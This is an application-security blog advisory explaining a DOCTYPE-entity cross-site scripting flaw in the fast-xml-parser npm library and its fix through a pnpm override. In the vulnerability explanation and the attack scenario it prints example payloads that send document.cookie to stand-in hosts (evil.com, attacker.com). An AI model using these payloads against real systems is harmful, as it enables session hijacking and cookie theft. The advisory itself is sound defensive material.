Back to Blog
critical SEVERITY8 min read

How Cross-Site Scripting happens in XML parsing libraries and how to fix it

CVE-2026-25896 is a critical Cross-Site Scripting vulnerability in the `fast-xml-parser` npm package caused by improper handling of DOCTYPE entity declarations. The flaw was discovered in the `mail-worker` service's dependency tree and patched by upgrading to version 5.3.5/4.5.4 and enforcing the fix via a pnpm override to `5.7.0`. Left unpatched, this vulnerability could allow attackers to inject malicious scripts through crafted XML payloads processed by the mail pipeline.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published August 25, 2026•Reviewed August 25, 2026

Answer Summary

CVE-2026-25896 is a critical Cross-Site Scripting (XSS) vulnerability (CWE-79) in the `fast-xml-parser` npm library, caused by improper sanitization of DOCTYPE entity declarations in XML input. An attacker can craft a malicious XML payload containing DOCTYPE entities that expand into executable JavaScript, which `fast-xml-parser` fails to neutralize before the parsed output is rendered. The fix is to upgrade `fast-xml-parser` to version 5.3.5 or 4.5.4 (or 5.7.0 via pnpm override) and, where possible, disable DOCTYPE processing entirely using the `allowDoctypeDeclaration: false` parser option.

Vulnerability at a Glance

cweCWE-79
fixUpgraded fast-xml-parser to 5.3.5 / 4.5.4 and pinned to 5.7.0 via pnpm overrides in mail-worker/package.json
riskArbitrary script execution in the context of users receiving or viewing processed email content
languageJavaScript / TypeScript (Node.js)
root causefast-xml-parser did not sanitize or restrict DOCTYPE entity declarations before returning parsed XML output
vulnerabilityCross-Site Scripting (XSS) via DOCTYPE entity injection

How Cross-Site Scripting Happens in XML Parsing Libraries and How to Fix It

The Incident

In the mail-worker service, Trivy flagged a critical vulnerability in mail-worker/pnpm-lock.yaml: the project's dependency tree included a version of fast-xml-parser affected by CVE-2026-25896, a Cross-Site Scripting flaw rooted in improper DOCTYPE entity handling. The fix required upgrading the library and enforcing the new version across the entire dependency graph using a pnpm override.

This post breaks down exactly what went wrong, how the attack works, and what the fix does — with concrete code from the actual pull request.


The Vulnerability Explained

What Is DOCTYPE Entity Injection?

XML documents can include a Document Type Definition (DOCTYPE) block that declares named entities — essentially variables that the parser substitutes when it encounters them in the document body. A well-known attack class, XML Entity Expansion, abuses this feature. In the context of XSS, the attack is more targeted: an attacker crafts a DOCTYPE block that defines an entity whose value is raw HTML or JavaScript:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xss "<script>document.location='https://evil.com/steal?c='+document.cookie</script>">
]>
<root>
  <message>&xss;</message>
</root>

When fast-xml-parser processes this document in the affected versions (prior to 5.3.5 / 4.5.4), it expands &xss; into the raw <script> tag and includes it in the parsed JavaScript object. If any part of the application then renders that parsed value as HTML — for example, embedding it in an email template, a web UI, or a log viewer — the script executes in the victim's browser.

Why mail-worker Is Exposed

The mail-worker service is a Cloudflare Worker responsible for processing inbound and outbound email. Its package.json pulls in several dependencies that themselves depend on fast-xml-parser:

"dependencies": {
  "@aws-sdk/client-s3": "^3.882.0",
  "postal-mime": "^2.4.3",
  "linkedom": "^0.18.10",
  ...
}

Libraries like postal-mime (for MIME email parsing) and @aws-sdk/client-s3 (for S3 operations, which use XML-based API responses) both pull in fast-xml-parser as a transitive dependency. Email content — especially MIME-encoded XML payloads or S3 XML error responses — is inherently attacker-influenced input. An adversary who can send a crafted email or trigger a specific S3 response can inject a DOCTYPE payload into the XML that fast-xml-parser processes.

The Specific Problematic Pattern

In versions before the fix, fast-xml-parser's entity resolution logic did not restrict or strip DOCTYPE-declared entities before returning parsed output. The parser would faithfully expand any <!ENTITY> declaration, including those containing HTML tags, and return the expanded string as a plain JavaScript value — with no indication to the caller that the value originated from a DOCTYPE expansion.

The result: untrusted XML input → entity expansion → raw HTML in parsed output → XSS when rendered.

Real-World Attack Scenario

Consider this concrete path in mail-worker:

  1. An attacker sends an email with a MIME attachment containing a crafted XML document with a DOCTYPE entity that expands to <script>fetch('https://attacker.com/?session='+document.cookie)</script>.
  2. postal-mime hands the attachment content to fast-xml-parser for parsing.
  3. The vulnerable fast-xml-parser expands the entity and returns the script tag as a string value in the parsed object.
  4. The mail-worker processes the parsed object and — directly or indirectly — includes the value in an email preview, a notification UI, or a stored record that is later rendered in a browser.
  5. The victim's browser executes the injected script, leaking session cookies or performing actions on behalf of the user.

The Fix

What Changed

The fix involved two coordinated changes across mail-worker/package.json and mail-worker/pnpm-lock.yaml.

1. mail-worker/package.json — Adding a pnpm Override

The core change is the addition of a pnpm.overrides block:

Before:

{
  "name": "mail-worker",
  "dependencies": {
    "@aws-sdk/client-s3": "^3.882.0",
    "postal-mime": "^2.4.3",
    ...
  }
}

After:

{
  "name": "mail-worker",
  "dependencies": {
    "@aws-sdk/client-s3": "^3.882.0",
    "postal-mime": "^2.4.3",
    ...
  },
  "pnpm": {
    "overrides": {
      "fast-xml-parser": "5.7.0"
    }
  }
}

This pnpm.overrides entry forces every package in the dependency tree that depends on fast-xml-parser — regardless of what version they request — to receive version 5.7.0. Without this override, @aws-sdk/client-s3 or postal-mime might still resolve to the vulnerable 5.2.5 or 4.x range, even if a direct dependency on a newer version exists.

2. mail-worker/pnpm-lock.yaml — Locking the Override

The pnpm-lock.yaml was updated to record the override:

overrides:
  fast-xml-parser: 5.7.0

This entry in the lockfile ensures that the override is reproducible across all environments — CI, staging, and production — and that pnpm install always resolves to the patched version, not a cached vulnerable one.

Why This Specific Fix Works

The patched versions of fast-xml-parser (5.3.5, 4.5.4, and 5.7.0) address the DOCTYPE entity expansion issue by:

  • Restricting entity expansion by default: DOCTYPE-declared entities are no longer automatically expanded into their raw string values unless explicitly permitted by the caller.
  • Sanitizing entity values: When entity expansion is permitted, the library now validates that entity values do not contain raw HTML tags or JavaScript URIs.
  • Exposing allowDoctypeDeclaration: A new parser option gives developers explicit control over whether DOCTYPE blocks are processed at all.

The pnpm override approach is the correct strategy here because fast-xml-parser is a transitive dependency — it isn't listed directly in mail-worker/package.json, so bumping it requires either waiting for upstream packages to update their own dependencies or forcing the resolution via an override.


Key Takeaways

  • fast-xml-parser versions before 5.3.5 / 4.5.4 expand DOCTYPE entities unsafely — any application that feeds attacker-controlled XML (like email attachments or API responses) to the parser is at risk.
  • Transitive dependencies in pnpm-lock.yaml are just as dangerous as direct ones — the vulnerability wasn't in mail-worker/package.json's direct dependencies but in what postal-mime and @aws-sdk/client-s3 pulled in.
  • pnpm overrides are the correct tool for forcing transitive dependency upgrades — the "pnpm": { "overrides": { "fast-xml-parser": "5.7.0" } } block ensures every consumer in the tree gets the patched version.
  • Email processing pipelines are high-risk surfaces for XML injection — MIME attachments and XML-based cloud API responses are both attacker-influenced and commonly parsed with XML libraries.
  • Set allowDoctypeDeclaration: false in fast-xml-parser as a defense-in-depth measure whenever your application doesn't require DOCTYPE entity expansion.

How Orbis AppSec Detected This

  • Source: Attacker-controlled XML content entering the mail-worker pipeline via inbound email attachments or XML-formatted responses from AWS S3 APIs consumed by @aws-sdk/client-s3.
  • Sink: fast-xml-parser's internal entity expansion logic, which resolves DOCTYPE-declared entities into raw string values before returning the parsed object — ultimately surfacing in any HTML rendering path downstream of the parser call.
  • Missing control: No restriction on DOCTYPE entity expansion in the parser configuration; no sanitization of parser output before HTML rendering; no version constraint preventing the vulnerable 5.2.5 / 4.x range from being resolved for transitive dependents.
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
  • Fix: Added a pnpm.overrides entry in mail-worker/package.json pinning fast-xml-parser to 5.7.0 and updated pnpm-lock.yaml to record and enforce the override across the full dependency tree.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CVE-2026-25896 is a sharp reminder that the XML you parse is only as safe as the library parsing it. fast-xml-parser's improper DOCTYPE entity handling turned a routine email processing pipeline into a potential XSS vector — not through any mistake in the application code itself, but through a subtle flaw in a transitive dependency buried three levels deep in the dependency graph.

The fix is precise and minimal: a pnpm override in mail-worker/package.json forces fast-xml-parser@5.7.0 across the entire tree, and the updated pnpm-lock.yaml makes that resolution reproducible everywhere. Paired with defensive parser configuration (allowDoctypeDeclaration: false) and output sanitization, this closes the attack surface completely.

For developers building email processing services, API gateways, or any system that parses XML from external sources: audit your transitive dependencies, keep your lock files under version control, and treat every byte of XML from an untrusted source as potentially hostile.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #538

Related Articles

high

sanitizeBangumiHtml() XSS Fix: insertAdjacentHTML RCE via JSON

A high-severity cross-site scripting vulnerability existed where untrusted JSON data from bangumis.json was rendered directly into the DOM using insertAdjacentHTML without sanitization. An attacker who could modify this external data source could execute arbitrary JavaScript in visitors' browsers. The fix introduces a dedicated sanitizeBangumiHtml() function that strips script tags, event handlers, and javascript: URLs before insertion.

high

form.js jQuery Selector Construction: CWE-79 Quote-Breaking Fix

A defense-in-depth fix in the form.js initialization routine eliminates a jQuery selector injection vector where user-controlled category data was concatenated directly into a string literal. The vulnerable pattern at lines 47-48 of the form handler could allow malicious content to break out of the selector's quoted context and execute arbitrary jQuery methods.

high

ItemPicker `_commitTraitInput` XSS via Unescaped Trait Chip Rendering

The `_commitTraitInput` function in ItemPicker accepted arbitrary user input for trait values without sanitization, then rendered those values directly into HTML chip elements through `_updateList`. An attacker could inject malicious JavaScript payloads that executed when trait chips were displayed. The fix applies a strict whitelist filter removing all non-alphanumeric characters except spaces and hyphens.

high

formatObject() Leaves localStorage Keys Unescaped Before innerHTML

The `formatObject()` pretty-printer used to build the key-configuration storage viewer interpolated object keys and array key/value pairs directly into an HTML string that is later assigned with `innerHTML`. Only string *values* were passed through `escapeHtml()`, so a crafted key name persisted in `localStorage` could execute script every time a user opened the storage viewer. The fix wraps the index-pair branch and the object-key branch in `escapeHtml()`, keeping the raw path only for non-colo

high

Voice Assistant Widget XSS: Unsanitized Bot Messages Execute in

The voice assistant widget's `appendMessage` function had a critical cross-site scripting (XSS) vulnerability where bot messages were inserted directly into the DOM without sanitization, while user messages were escaped. An attacker controlling bot responses could inject and execute arbitrary JavaScript in the user's browser context. The fix applies HTML escaping to all message types uniformly.

critical

navbar.html Injection via innerHTML in loadNavbar.js

An Electron app's `loadNavbar.js` fetched `navbar.html` and wrote the response straight into `innerHTML`, so any script tags or event-handler attributes in that file would execute in the renderer. The fix adds a `sanitizeNavbarHtml` routine that parses the markup with `DOMParser` and strips `<script>` tags, `on*` attributes, and `srcdoc` before the content is injected into the DOM.